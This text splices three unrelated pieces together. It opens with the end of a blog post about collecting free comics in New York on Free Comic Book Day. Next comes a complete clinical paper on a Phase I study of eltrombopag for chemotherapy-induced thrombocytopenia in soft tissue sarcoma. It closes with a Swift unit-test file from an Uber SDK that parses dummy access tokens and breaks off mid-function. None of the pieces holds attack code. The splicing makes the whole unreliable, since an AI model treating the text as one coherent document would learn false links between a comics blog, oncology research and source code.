Or, if you're like us and are willing to stop by a few stores in New York City, you could well find yourself with a year's worth of free reading material free of charge. In one day, two agents sent from The Middle Room were able to procure 80 comics (39 unique books, 41 duplicates; one of which was signed by Jim Shooter and Dennis Calero), two buttons, one poster, and a War Machine Heroclix figure which will look great beside the Iron Man Heroclix figure we got a few years back.
So, in conclusion, we say to all of you in The Middle Room and beyond, happy Free Comic Book Day, and may Thor bless America. |
Background
==========
Thrombocytopenia is a common treatment-related Grade 3/4 adverse event (AE) and dose-limiting toxicity for various chemotherapy regimens \[[@B1]-[@B4]\]. Doxorubicin and ifosfamide, alone and in combination (AI), are active in the treatment of soft tissue sarcomas (STS), with demonstrated positive response rates and improvements in overall survival; however, both agents have been associated with Grade 3/4 thrombocytopenia that is cumulative with successive chemotherapy cycles \[[@B5]-[@B10]\].
Chemotherapy-induced thrombocytopenia (CIT) may lead to dose reductions or dose delays, resulting in less than optimal disease control. In severe cases, CIT may result in hemorrhage and a need for platelet transfusions, which have cost and safety limitations \[[@B6],[@B8],[@B9],[@B11]\]. Although interleukin-11 (IL-11), a hematopoietic growth factor with thrombopoietic activity, is approved for the treatment of CIT in the US, it is not approved in the EU, it has modest efficacy, and it produces substantial adverse effects that limit its use \[[@B12]-[@B14]\].
Eltrombopag, an oral, nonpeptide, thrombopoietin receptor agonist, increases platelet counts in adult patients with chronic immune thrombocytopenia (ITP) \[[@B15]-[@B19]\] and chronic liver disease due to hepatitis C virus infection \[[@B20],[@B21]\].
A Phase II, multicenter, placebo-controlled study tested 3 different doses of eltrombopag vs placebo in patients with solid tumors receiving carboplatin and paclitaxel chemotherapy. The study demonstrated that eltrombopag administration for 10 days post-chemotherapy administration on Day 1 resulted in increased platelet counts starting at Day 8 compared to placebo, with peak platelet counts reached between Day 18 and Day 22 \[[@B22]\]. The study did not meet its primary endpoint of reducing the platelet count change from Day 1 of Cycle 2 to the platelet nadir of Cycle 2, compared to placebo \[[@B22]\].
Thrombocytopenia remains an important clinical problem in the treatment of cancer. As such, this study explored the safety and tolerability of eltrombopag administered according to 2 dosing schedules in patients with advanced STS treated with the AI chemotherapy regimen.
Methods
=======
Study design
------------
The primary objective of this Phase I study was to determine the safety and tolerability of eltrombopag in patients with locally advanced or metastatic STS receiving combination chemotherapy with AI. Secondary objectives were to determine the optimal biological dose (OBD), pharmacokinetics (PK), and pharmacodynamics (PD) of eltrombopag in these patients; and to evaluate the impact of eltrombopag on the PK of doxorubicin and doxorubicinol in this treatment setting.
The study protocol, any amendments, informed consent, and other information that required pre-approval were reviewed and approved by the sites where patients were recruited into the study: Western Institutional Review Board, Olympia, WA, USA; Institutional Review Board. Pennsylvania Hospital, Philadelphia, PA, USA; and the University of Texas, M. D. Anderson Cancer Center, Surveillance Committee FWA-363, Houston, TX, USA. This study was conducted in accordance with the International Conference on Harmonisation's Guidelines for Good Clinical Practice (ICH GCP) and all applicable patient privacy requirements, and the ethical principles that are outlined in the Declaration of Helsinki. This study is registered at <http://www.clinicaltrials.gov> (NCT00358540).
All participants provided informed consent prior to performance of any study-specific procedures. All patients were scheduled to receive 10 days of eltrombopag dosing starting in Cycle 2, either continuously for 10 days following AI chemotherapy (Days 5 to 14) or for 5 days before (Days -5 to -1) and 5 days after (Days 5 to 9) AI chemotherapy (Days 1 to 4). Each cycle consisted of 21 days. Doxorubicin was administered as a 75 mg/m^2^ intravenous (IV) bolus (Day 1) or as 3 consecutive 25 mg/m^2^ IV boluses (Days 1 to 3); ifosfamide was administered as a 2.5 g/m^2^ IV infusion for 4 days (Days 1 to 4). Mesna and dexrazoxane were administered as per the current standard of care.
The original study design included 2 components: a dose-escalation phase to determine the OBD of eltrombopag in combination with AI, with a daily starting dose of 75 mg eltrombopag and escalating in a stepwise fashion to 100 mg, 150 mg, 200 mg, 250 mg, and 300 mg daily; and an expansion phase to enroll additional patients at the OBD to a maximum of 48 total patients, in order to further explore the efficacy of eltrombopag in this patient population. Due to slow recruitment, dose escalation was halted at the 150-mg dose level prior to identification of an OBD, the expansion phase was not initiated, and the study was closed prior to completion.
Study completion was defined as receiving ≥ 1 dose of eltrombopag starting from Cycle 2 and completing all visits through to the end of Cycle 2. Patients were permitted to stay on study for up to 6 cycles of chemotherapy (5 cycles of eltrombopag dosing).
Patient selection
-----------------
Eligible patients were age 18 or older with histologically confirmed, locally advanced or metastatic STS; an Eastern Cooperative Oncology Group (ECOG)-Zubrod performance status of 0 or 1; adequate hematologic, hepatic, and renal function; a life expectancy of ≥ 3 months; no history of platelet disorders or dysfunction, or bleeding disorders; and were otherwise candidates for AI chemotherapy.
Study enrollment was initially limited to chemotherapy-naïve patients. A protocol amendment (January 2008) during the active enrollment period allowed enrollment of patients with 0 or 1 previous chemotherapy regimens and required that all patients had developed ≥ Grade 2 thrombocytopenia (platelet nadir ≤ 75,000/μL) in a previous chemotherapy treatment setting. Alternatively, patients with no previous chemotherapy treatment should have developed ≥ Grade 2 thrombocytopenia during a previous AI chemotherapy cycle, with AI at the same dose and schedule planned in the 2 cycles following enrollment into the study. An additional change in this amendment allowed enrollment for patients with thromboembolic events (TEEs) \> 6 months previously; prior to this amendment patients with a history of TEEs were excluded from the study. A subsequent (July 2009) protocol amendment required that patients have adequate cardiac function at baseline, as measured by echocardiogram (ECHO) or multiple gated acquisition (MUGA) scan, as newly available in vitro data demonstrated that eltrombopag was an inhibitor of breast cancer resistance protein (BCRP) efflux transporter, for which doxorubicin and potentially its metabolite, doxorubicinol, are substrates. As these findings suggested that eltrombopag had the potential to increase doxorubicin(ol) plasma concentrations, the protocol was amended to implement additional cardiac monitoring and PK sampling for doxorubicin(ol).
Patients were excluded if they had \> 1 previous chemotherapy regimens in any disease setting; preexisting cardiovascular disease; any known clotting disorder associated with hypercoagulability; prior treatment that affected platelet function or anticoagulants for \> 3 consecutive days within 2 weeks of the study start and until the end of the study; recent history of drug-induced thrombocytopenia; history of prior radiotherapy (RT) to more than 20% bone marrow bearing sites; planned cataract surgery; or any clinical abnormality or laboratory parameters that interfered with study treatment or conferred a risk for participation in the study.
Study assessments, procedures, and analyses
-------------------------------------------
Assessments performed at screening (within 14 days prior to the first cycle of treatment) included evaluation of eligibility criteria; medical history; routine physical examination; ECOG performance status; risk factors for kidney impairment and cataracts; 12-lead electrocardiogram (ECG); laboratory assessments (hematology with complete blood count, serum chemistries, urinalysis, and renal assessments); and ophthalmologic examination. The July 2009 amendment required cardiac monitoring using ECHO or MUGA scans at baseline and every 3 cycles.
Physical examinations were performed on study Day 1 of each cycle and on the last day of Cycle 6 or upon withdrawal from study. Ophthalmic assessment was performed at study completion/withdrawal and also at the 6-month follow-up visit. Bleeding events, AE/toxicity assessment, and concomitant medications were assessed at each study visit and on the last day of Cycle 6 or upon withdrawal from the study. Additional safety assessments (renal assessments, ECG recordings, hematology assessments, and chemistry assessments) were completed throughout the study at protocol-specified time points.
Safety and efficacy analyses were summarized by descriptive statistics. Safety analyses were reported using the safety population, comprising all patients who received ≥ 1 dose of AI chemotherapy. Efficacy analyses were reported using the efficacy population, comprising all patients who received ≥ 1 dose of eltrombopag and had at least 1 platelet count measurement in each of Cycles 1 and 2. Eltrombopag PK was analyzed and will be reported elsewhere.
Results
=======
Patient demographics and disposition
------------------------------------
Due to slow patient recruitment over a 4-year period, enrollment into the study was ended prior to achieving sufficient patients to meet all predetermined study objectives, including identification of OBD and enrollment into an expansion phase. In addition, no evaluable doxorubicin PK samples were collected for assessment of the potential doxorubicin-eltrombopag PK interaction. A total of 18 patients were enrolled into the study. Three patients withdrew prior to receiving any chemotherapy and 15 patients received at least 1 dose of chemotherapy (safety population, Table [1](#T1){ref-type="table"}). Of these 15 patients, 12 received at least 1 dose of eltrombopag: 7, 4, and 1 patients received 75 mg, 100 mg, and 150 mg eltrombopag daily, respectively (Figure [1](#F1){ref-type="fig"}). Two of the 7 patients who received 75 mg eltrombopag were treated for 10 days post AI chemotherapy; the remainder of patients received eltrombopag for 5 days prior to and 5 days post AI chemotherapy. Three patients within the safety population withdrew prior to eltrombopag dosing: 1 due to a serious AE (SAE, Grade 3 pulmonary embolism), 1 due to disease progression, and 1 due to patient decision. The median age (range) was 44 (20--65) years and 53% were male.
######
Patient demographics and baseline clinical characteristics (safety population)
**Demographics** **No** **Eltrombopag** **Eltrombopag** **Eltrombopag** **Total**
------------------------------------------------- --------------- ----------------- ----------------- ----------------- ---------------
Median age, y (range) 56.0 (20--65) 48.0 (38--62) 30.5 (23--44) 59.0 44.0 (20--65)
Gender, n (%)
Female 1 (33) 4 (57) 2 (50) 1 (100) 8 (53)
Male 2 (67) 3 (43) 2 (50) 0 (0) 7 (47)
Race, n (%)
Hispanic or Latino 1 (33) 0 (0) 2 (50) 0 (0) 3 (20)
Not Hispanic or Latino 2 (67) 7 (100) 2 (50) 1 (100) 12 (80)
**Baseline clinical characteristics**
Median baseline platelet count, 1000/μL (range) 256.0 300.0 264.0 388.0 281.0
(218--371) (197--368) (180--595) (180--595)
ECOG PS
ECOG 0, n (%) 0 (0) 6 (86) 0 (0) 1 (100) 7 (47)
ECOG 1, n (%) 3 (100) 1 (14) 4 (100) 0 (0) 8 (53)
^a^Patients were withdrawn prior to receiving eltrombopag during the second cycle.
ECOG PS, Eastern Cooperative Oncology Group Performance Status.
{#F1}
During Cycle 2, 12 patients received a median (range) of 8.5 (2--17) days of treatment with eltrombopag; 7 (2--17), 8.5 (6--10), and 10.0 days for the 75-mg, 100-mg, and 150-mg dose groups, respectively. During Cycle 3, 9 patients received a median (range) of 10 (3--12) days of treatment with eltrombopag; 10.0 (3--12), 10.0 (7--10), and 10.0 days for the eltrombopag 75 mg, 100-mg, and 150-mg dose groups, respectively. During Cycle 4, 5 patients received a median (range) of 10 (3--10) days of treatment with eltrombopag; 10.0 (3--10) and 10.0 days for the eltrombopag 75 mg and 100 mg dose groups, respectively. During Cycle 5, 2 patients received a median (range) of 6 (2--10) days of treatment with eltrombopag; 2 and 10.0 days for the eltrombopag 75-mg and 100-mg dose groups, respectively.
Safety
------
Since the study did not complete as planned, analyses of safety are limited. Five patients who received eltrombopag completed the study (ie, received at least 1 dose of eltrombopag and underwent all visits through to completion of Cycle 2). The majority of patients in the safety population (10/15, 67%) withdrew prior to study completion. Reasons for study withdrawal included AEs; loss to follow-up; disease progression; patient decision; poor tumor response to AI therapy; evaluation for surgical amputation; and inability to continue AI therapy.
All patients experienced at least 1 AE while enrolled in the study. Thrombocytopenia (12 patients, 80%), neutropenia (11 patients, 73%), and anemia (10 patients, 67%) were the most common hematologic AEs; and fatigue (8 patients, 53%), alanine aminotransferase (ALT) increased, constipation, and nausea (7 patients each, 47%) were the most common nonhematologic AEs (Table [2](#T2){ref-type="table"}). Grade 3 and 4 toxicities occurring in each group are listed in Table [3](#T3){ref-type="table"}.
######
Adverse events of any grade (≥ 15% of patients, safety population)
**Treatment-emergent** **No** **Eltrombopag** **Eltrombopag** **Eltrombopag** **Total**
--------------------------- -------- ----------------- ----------------- ----------------- -----------
Hematologic AEs, n (%)
Thrombocytopenia 2 (67) 5 (71) 4 (100) 1 (100) 12 (80)
Neutropenia 2 (67) 5 (71) 4 (100) 0 11 (73)
Anemia 1 (33) 6 (86) 3 (75) 0 10 (67)
Leukopenia 0 3 (43) 2 (50) 0 5 (33)
Febrile neutropenia 0 2 (29) 1 (25) 1 (100) 4 (27)
Thrombocytosis 0 4 (57) 0 0 4 (27)
Nonhematologic AEs, n (%)
Fatigue 0 6 (86) 2 (50) 0 8 (53)
ALT increased 0 5 (71) 2 (50) 0 7 (47)
Constipation 0 6 (86) 1 (25) 0 7 (47)
Nausea 1 (33) 5 (71) 1 (25) 0 7 (47)
Alopecia 0 5 (71) 1 (25) 0 6 (40)
Pyrexia 1 (33) 3 (43) 2 (50) 0 6 (40)
Vomiting 1 (33) 3 (43) 2 (50) 0 6 (40)
AST increased 0 3 (43) 2 (50) 0 5 (33)
Hypokalemia 0 3 (43) 2 (50) 0 5 (33)
Confusional state 1 (33) 2 (29) 0 0 3 (20)
Hemorrhoids 0 3 (43) 0 0 3 (20)
Hypocalcemia 0 1 (14) 2 (50) 0 3 (20)
Headache 0 3 (43) 0 0 3 (20)
Edema peripheral 1 (33) 1 (14) 1 (25) 0 3 (20)
Proteinuria 0 3 (43) 0 0 3 (20)
Vitamin B12 increased 0 3 (43) 0 0 3 (20)
^a^Patients were withdrawn prior to receiving eltrombopag during the second cycle.
AE, adverse events; ALT, alanine aminotransferase; AST, aspartate aminotransferase.
######
Grade 3 or 4 adverse events (safety population)
**Treatment-emergent** **No** **Eltrombopag** **Eltrombopag** **Eltrombopag**
----------------------------- -------- ----------------- ----------------- -----------------
Hematologic AEs, n (%)
Thrombocytopenia 0 3 (43) 2 (50) 1 (100)
Neutropenia 2 (67) 4 (57) 4 (100) 0
Anemia 0 3 (43) 2 (50) 0
Leukopenia 0 3 (43) 0 0
Febrile neutropenia 0 2 (29) 0 0
Nonhematologic AEs, n (%)
Pulmonary embolism 1 (33) 0 0 0
Abdominal abscess 1 (33) 0 0 0
Abdominal pain 0 1 (14) 0 0
Mucosal inflammation 0 1 (14) 0 0
Dehydration 0 1 (14) 0 0
Subclavian vein thrombosis 0 1 (14) 0 0
Sepsis 0 0 1 (25) 0
^a^Patients were withdrawn prior to receiving eltrombopag during the second cycle.
AE, adverse events.
No AEs considered related to study treatment were reported for patients receiving 100 mg and 150 mg dosages of eltrombopag. Five patients in the 75-mg group had 20 AEs reported as related to eltrombopag dosing. Eltrombopag-related AEs occurring in ≥ 2 patients were thrombocytosis (3 patients), anemia, fatigue, and thrombocytopenia (2 patients each).
Overall, 11 SAEs were reported in 7 patients. The 2 patients who withdrew prior to receiving any eltrombopag experienced 3 SAEs. Four patients in the 75-mg group experienced 7 SAEs, 1 of which (subclavian venous thrombosis) was reported as related to eltrombopag dosing. One patient in the 100-mg group experienced 1 SAE (sepsis), which was reported as unrelated to eltrombopag. No SAEs were reported for the 1 patient who received 150 mg eltrombopag. No deaths were reported in this study.
Three patients reported 1 SAE each leading to permanent discontinuation or withdrawal: 2 patients in the 75-mg group and 1 patient who never received eltrombopag. One of these SAEs, the Grade 3 subclavian venous thrombosis described above, occurred in a patient in the 75-mg group with no prior history of TEEs; further details are included below.
Ten patients reached a platelet count \> 400,000/μL on at least 1 occasion, requiring temporary interruption of eltrombopag per protocol; none of these platelet count increases were associated with sequelae. Platelet count increases occurred at various points throughout the cycle; no pattern was observed.
Three patients in the 75-mg group reported 6 bleeding AEs, all Grade 1. The 1 patient who received 150 mg eltrombopag experienced Grade 3 epistaxis (Cycle 3; proximal platelets 15,000/μL). No bleeding events led to discontinuation of eltrombopag dosing or study withdrawal, and none were considered by the investigator to be related to eltrombopag dosing. An additional patient who did not receive eltrombopag reported three Grade 2 bleeding AEs during Cycle 1 of AI chemotherapy: hematemesis (proximal platelets 371,000/μL), hematuria (proximal platelets 126,000/μL), and hemoptysis (proximal platelets 126,000/μL).
Two patients who received 75 mg eltrombopag and 1 patient who never received eltrombopag experienced TEEs during the study. One patient who did not receive eltrombopag experienced a Grade 3 pulmonary embolism 3 days after completion of the first cycle of chemotherapy; proximal platelet counts were 126,000/μL. The event resolved 18 days later. The 2 patients who received 75 mg eltrombopag both experienced a Grade 3 subclavian venous thrombosis at proximal platelet counts of 193,000/μL and 284,000/μL. The former event, as described above, was considered by the investigator to be possibly related to eltrombopag dosing. The investigator also considered that the event may have been due to a port insertion that was located on the same side as the event. The TEE resolved 6 months later. The latter patient had concurrent estrogen use and a prior history of a TEE (deep vein thrombosis \[DVT\]); the patient had been enrolled under a prior protocol amendment that excluded patients with prior TEEs. The patient was withdrawn from the study after 2 days of eltrombopag dosing and the TEE resolved 11 days later. This event was considered by the investigator to be unrelated to eltrombopag.
All hepatobiliary laboratory abnormalities (HBLAs) were Grade 1 or Grade 2, none were considered related to eltrombopag dosing, and none required permanent discontinuation of eltrombopag or study withdrawal.
No patient experienced renal events with onset during eltrombopag dosing or within 6 months post-treatment. All creatinine values were reported as normal at all assessments.
Four cardiac-related AEs (palpitations, 2 events; tachycardia, 2 events) were reported for 3 patients who received 75 mg of eltrombopag. All were Grade 1 in severity and all were considered unrelated to eltrombopag dosing. All but one event (tachycardia) resolved. No clinically significant ECG results were observed. All QTc values were ≤ 500 msec throughout the study. No clinically meaningful decrease in ejection fraction was reported for the 1 patient (in the 150-mg group) who completed MUGA/ECHO assessment.
No new cataracts or progression of existing cataracts was reported.
Efficacy
--------
Since the study did not complete as planned due to poor enrollment, analyses of efficacy are also necessarily limited. Of the 12 patients who received at least 1 dose of eltrombopag 75 mg, 100 mg, or 150 mg, 11 patients had at least 1 platelet count measurement in each of Cycles 1 and 2 while on study and were evaluable for efficacy. Available data demonstrated increased pre-chemotherapy platelet counts on Day 1 of Cycle 2 (cycle with eltrombopag) compared to Day 1 of Cycle 1 (cycle without eltrombopag) in all 11 of these patients (Figure [2](#F2){ref-type="fig"}). Ten of these 11 patients received additional cycles of therapy (including eltrombopag) beyond Cycle 2; of these 10, 6 showed increased pre-chemotherapy platelet counts in all treatment cycles compared to Cycle 1 (5 in the 75-mg group and 1 in the 100-mg group). Two patients who were chemotherapy naïve (patients 1 and 2), and who did not have thrombocytopenia prior to study entry (ie, prior to the protocol change), had higher platelet counts on Day 1 of Cycle 2 than during Cycle 1. This is most likely due to natural rebound or recovery of hematopoiesis at the end of Cycle 1.
{#F2}
Platelet nadirs for these 11 patients are shown in Figure [3](#F3){ref-type="fig"}. Two of 4 patients who received 100 mg eltrombopag daily demonstrated improved platelet nadirs in Cycle 2 (cycle with eltrombopag) compared to Cycle 1 (cycle without eltrombopag). The other 2 patients who received 100 mg eltrombopag daily did not receive their full 5 days of post-chemotherapy eltrombopag dosing.
{#F3}
Discussion
==========
Thrombocytopenia is a common side effect of chemotherapy, and multiple studies have suggested that CIT is a dose-limiting AE in the treatment of cancer, and can necessitate dose delays and/or dose reductions \[[@B23],[@B24]\]. For example, a database analysis of 47,159 patients with both solid tumors and hematologic malignancies showed that TCP increased from 11% at baseline to 22-64% following chemotherapy treatment \[[@B24]\]. Grade 3/4 TCP has been reported in 63% of patients with advanced STS treated with AI chemotherapy \[[@B6]\]. An effective agent for the treatment of CIT may allow chemotherapy administration according to schedule and without dose delays and/or reductions.
This study evaluated the safety and efficacy of eltrombopag in patients with advanced STS and CIT due to receiving AI chemotherapy. Enrollment into this study was challenging as the target study population dwindled due to the emergence of novel standards of care for advanced STS during the 4-year course of the study. Despite implementation of several strategies to boost enrollment, patient recruitment remained slow and the study closed prior to recruitment of the planned number of patients.
Although data are limited, repeated treatment cycles of eltrombopag appeared to be generally well tolerated and the safety profile was consistent with the known safety profile of eltrombopag and with what is expected for patients with advanced STS receiving treatment with the AI chemotherapy regimen. TEEs were observed in this study in 1 patient who did not receive eltrombopag and 2 patients who received eltrombopag, consistent with the known propensity for TEEs in cancer patients. Both eltrombopag-treated patients had known risk factors for TEEs (a port insertion on the same side for one patient, and prior DVT with concurrent estrogen for the other). Renal and cardiac events were examined thoroughly and no eltrombopag-related renal or cardiac events of concern were reported. After this study was initiated, in vitro data showed eltrombopag was an inhibitor of the BCRP-mediated transport of cimetidine. Extensive cardiac safety assessments were subsequently implemented through a study amendment. More recent in vitro studies have shown the BCRP-mediated transport of doxorubicin is not inhibited by eltrombopag at concentrations up to 30 μM, the highest concentration that can be tested in vitro (unpublished data). This concentration is 3- to 4-fold higher than the Day 1 plasma eltrombopag concentration after administration of 100 mg eltrombopag on Days -5 to -1 (unpublished data). These observations suggest that the risk of a clinical eltrombopag-doxorubicin interaction may be far less than originally anticipated.
As shown in Table [2](#T2){ref-type="table"}, 100% of patients treated at the 100 mg and 150 mg doses experienced TCP of any grade, whereas only in 71% of patients treated at the 75 mg experienced TCP. The main reason for this difference was that the protocol had no requirement for patients to have thrombocytopenia for study entry when patients were enrolling at the 75-mg dose level, and the patients enrolled at this eltrombopag dose were also chemotherapy naïve. The protocol was amended for patients enrolled at the 100-mg and 150-mg dose levels to require that the patient experience at least Grade 2 thrombocytopenia (platelets \< 75,000/μL) prior to study entry. This resulted in patients who had previously received chemotherapy having a greater degree of thrombocytopenia at study entry, and explains the increased rate of TCP observed at the higher doses.
Although there was insufficient enrollment for identification of an OBD, no dose-limiting toxicities were observed that limited eltrombopag dose escalation to 150 mg daily in the study. The 75 mg eltrombopag dose demonstrated increased platelet counts at Day 1 of Cycle 2; however, this dose may be inadequate since it did not also improve platelet nadirs. Determination of the OBD for eltrombopag for patients with CIT requires further study.
Limited data were available to explore the efficacy of eltrombopag in this patient population. The study protocol required temporary interruption of eltrombopag dosing when a patient's platelet counts were \> 400,000/μL. Ten patients had platelet counts \> 400,000/μL on at least one occasion, requiring temporary eltrombopag interruption; this may have decreased efficacy for these patients. Available platelet data showed that all patients receiving eltrombopag demonstrated increased pre-chemotherapy platelet counts during Cycle 2 (eltrombopag dosing cycle) compared to Cycle 1 (cycle prior to eltrombopag dosing); additionally, 6 of 10 patients who received \> 2 cycles of therapy showed increased pre-chemotherapy platelet counts in each cycle compared to Cycle 1. Finally, 2 of 4 patients receiving 100 mg eltrombopag had improved platelet nadirs in Cycle 2 compared to Cycle 1. Both of these patients received eltrombopag 5 days pre- and 5 days post-chemotherapy, suggesting that this schedule might improve platelet nadirs as well as pre-chemotherapy platelet count, allowing patients to complete subsequent chemotherapy cycles at the planned dose and schedule.
Further studies are needed to better assess the effects of this pre- and post-chemotherapy schedule of eltrombopag administration in combination with other chemotherapy regimens. In an ongoing, randomized Phase I/II study of eltrombopag versus placebo in patients with solid tumors receiving gemcitabine alone or in combination with cisplatin or carboplatin (NCT01147809), eltrombopag 100 mg daily is being administered according to a pre- and post-chemotherapy schedule (5 days before and 5 days following Day 1 of chemotherapy). The results of this study will further clarify the safety and efficacy of this eltrombopag dosing schedule in combination with chemotherapy.
Conclusions
===========
Although data are limited, the safety profile was consistent with the known safety profile of eltrombopag and the AI chemotherapy regimen. These preliminary data suggest a potential pre- and post-chemotherapy dosing scheme for eltrombopag when administered with AI chemotherapy, and support further investigation of eltrombopag treatment in patients with CIT.
Competing interests
===================
Sant P Chawla receives honoraria and research funding/grants from, and provides consultancy for Merck, Ariad, Amgen, Threshold, Cytrax, and Berg. Arthur P Staddon and Andrew E Hendifar have no relevant financial relationships to disclose. Conrad Messam, Rita Patwardhan, and Yasser Mostafa Kamel are employees of and have equity ownership in GlaxoSmithKline (GSK).
Authors' contributions
======================
SC and AH participated in the acquisition of and analyzed the clinical data. AS participated in the acquisition and interpretation of and analyzed the clinical data. He also contributed to the design of the amendments. CM contributed to the design of the study, and acquired, analyzed, and interpreted the data. RP is the statistician responsible for the design, analysis, and interpretation of the data. YMK is the medical monitor for the study; he has led amendments of the protocol, reviewed the data, and led the development of the clinical study report. All authors contributed to the writing and reviewing of the manuscript, and approved the final draft for publication.
Pre-publication history
=======================
The pre-publication history for this paper can be accessed here:
<http://www.biomedcentral.com/1471-2407/13/121/prepub>
Acknowledgment
==============
Funding for this study was provided by GlaxoSmithKline (GSK) (NCT00358540). All listed authors meet the criteria for authorship set forth by the International Committee for Medical Journal Editors. The authors wish to acknowledge the following individuals for their contributions and critical review during the development of this manuscript: Sandra J Saouaf, PhD, and Ted Everson, PhD, of AOI Communications, L.P., for writing and editorial assistance; and Kimberly Marino and Rosanna Tedesco of GSK, for critical review.
|
//
// AccessTokenFactorytests.swift
// UberRides
//
// Copyright © 2015 Uber Technologies, Inc. All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
import XCTest
@testable import UberCore
class AccessTokenFactoryTests: XCTestCase {
private let redirectURI = "http://localhost:1234/"
private let tokenString = "token"
private let tokenTypeString = "type"
private let refreshTokenString = "refreshToken"
private let expirationTime = 10030.23
private let allowedScopesString = "profile history"
private let errorString = "invalid_parameters"
override func setUp() {
super.setUp()
// Put setup code here. This method is called before the invocation of each test method in the class.
}
override func tearDown() {
// Put teardown code here. This method is called after the invocation of each test method in the class.
super.tearDown()
}
func testParseTokenFromURL_withSuccess() {
var components = URLComponents()
components.fragment = "access_token=\(tokenString)&refresh_token=\(refreshTokenString)&token_type=\(tokenTypeString)&expires_in=\(expirationTime)&scope=\(allowedScopesString)"
components.host = redirectURI
guard let url = components.url else {
XCTAssert(false)
return
}
do {
let token : AccessToken = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTAssertNotNil(token)
XCTAssertEqual(token.tokenString, tokenString)
XCTAssertEqual(token.refreshToken, refreshTokenString)
XCTAssertEqual(token.tokenType, tokenTypeString)
XCTAssertEqual(token.grantedScopes.toUberScopeString(), allowedScopesString)
UBSDKAssert(date: token.expirationDate!, approximatelyIn: expirationTime)
} catch _ as NSError {
XCTAssert(false)
} catch {
XCTAssert(false)
}
}
func testParseTokenFromURL_withError() {
var components = URLComponents()
components.fragment = "access_token=\(tokenString)&refresh_token=\(refreshTokenString)&token_type=\(tokenTypeString)&expires_in=\(expirationTime)&scope=\(allowedScopesString)&error=\(errorString)"
components.host = redirectURI
guard let url = components.url else {
XCTAssert(false)
return
}
do {
_ = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTFail("Didn't parse out error")
} catch let error as NSError {
XCTAssertEqual(error.code, UberAuthenticationErrorType.invalidRequest.rawValue)
XCTAssertEqual(error.domain, UberAuthenticationErrorFactory.errorDomain)
} catch {
XCTAssert(false)
}
}
func testParseTokenFromURL_withOnlyError() {
var components = URLComponents()
components.fragment = "error=\(errorString)"
components.host = redirectURI
guard let url = components.url else {
XCTAssert(false)
return
}
do {
_ = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTFail("Didn't parse out error")
} catch let error as NSError {
XCTAssertEqual(error.code, UberAuthenticationErrorType.invalidRequest.rawValue)
XCTAssertEqual(error.domain, UberAuthenticationErrorFactory.errorDomain)
} catch {
XCTAssert(false)
}
}
func testParseTokenFromURL_withPartialParameters() {
var components = URLComponents()
components.fragment = "access_token=\(tokenString)"
components.host = redirectURI
guard let url = components.url else {
XCTAssert(false)
return
}
do {
let token : AccessToken = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTAssertNotNil(token)
XCTAssertEqual(token.tokenString, tokenString)
XCTAssertNil(token.refreshToken)
XCTAssertNil(token.tokenType)
XCTAssertNil(token.expirationDate)
XCTAssertEqual(token.grantedScopes, [UberScope]())
} catch _ as NSError {
XCTAssert(false)
} catch {
XCTAssert(false)
}
}
func testParseTokenFromURL_withFragmentAndQuery_withError() {
var components = URLComponents()
components.fragment = "access_token=\(tokenString)"
components.query = "error=\(errorString)"
components.host = redirectURI
guard let url = components.url else {
XCTAssert(false)
return
}
do {
_ = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTFail("Didn't parse out error")
} catch let error as NSError {
XCTAssertEqual(error.code, UberAuthenticationErrorType.invalidRequest.rawValue)
XCTAssertEqual(error.domain, UberAuthenticationErrorFactory.errorDomain)
} catch {
XCTAssert(false)
}
}
func testParseTokenFromURL_withFragmentAndQuery_withSuccess() {
var components = URLComponents(string: redirectURI)!
components.fragment = "access_token=\(tokenString)&refresh_token=\(refreshTokenString)&token_type=\(tokenTypeString)"
components.query = "expires_in=\(expirationTime)&scope=\(allowedScopesString)"
guard let url = components.url else {
XCTAssert(false)
return
}
do {
let token : AccessToken = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTAssertNotNil(token)
XCTAssertEqual(token.tokenString, tokenString)
XCTAssertEqual(token.tokenType, tokenTypeString)
XCTAssertEqual(token.refreshToken, refreshTokenString)
XCTAssertEqual(token.grantedScopes.toUberScopeString(), allowedScopesString)
UBSDKAssert(date: token.expirationDate!, approximatelyIn: expirationTime)
} catch {
XCTAssert(false)
}
}
func testParseTokenFromURL_withInvalidFragment() {
var components = URLComponents()
components.fragment = "access_token=\(tokenString)&refresh_token"
components.host = redirectURI
guard let url = components.url else {
XCTAssert(false)
return
}
do {
let token : AccessToken = try AccessTokenFactory.createAccessToken(fromRedirectURL: url)
XCTAssertNotNil(token)
XCTAssertEqual(token.tokenString, tokenString)
XCTAssertNil(token.tokenType)
XCTAssertNil(token.refreshToken)
XCTAssertNil(token.expirationDate)
XCTAssertEqual(token.grantedScopes, [UberScope]())
} catch _ as NSError {
XCTAssert(false)
} catch {
XCTAssert(false)
}
}
func testParseValidJsonStringToAccessToken() {
let jsonString = "{\"access_token\": \"\(tokenString)\", \"refresh_token\": \"\(refreshTokenString)\", \"token_type\": \"\(tokenTypeString)\", \"expires_in\": \"\(expirationTime)\", \"scope\": \"\(allowedScopesString)\"}"
guard let accessToken = try? AccessTokenFactory.createAccessToken(fromJSONData: jsonString.data(using: .utf8)!) else {
XCTFail()
return
}
XCTAssertEqual(accessToken.tokenString, tokenString)
XCTAssertEqual(accessToken.refreshToken, refreshTokenString)
